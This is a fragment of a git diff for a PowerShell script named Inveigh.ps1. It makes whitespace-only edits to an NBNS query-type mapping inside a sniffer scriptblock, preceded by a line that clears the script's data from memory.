!$inveigh.unprivileged_running) { Remove-Variable inveigh -scope global Write-Output "Inveigh data has been cleared from memory" diff --git a/Scripts/Inveigh.ps1 b/Scripts/Inveigh.ps1 index 1e5ea3f..ce67d6d 100644 --- a/Scripts/Inveigh.ps1 +++ b/Scripts/Inveigh.ps1 @@ -1506,17 +1506,17 @@ $sniffer_scriptblock = '42-4D' { - $NBNS_query_type = '1C' + $NBNS_query_type = '1C' } '42-4E' { - $NBNS_query_type = '1D' + $NBNS_query_type = '1D' } '42-4F' { - $NBNS_query_type = '1E' + $NBNS_query_type = '1E' } } |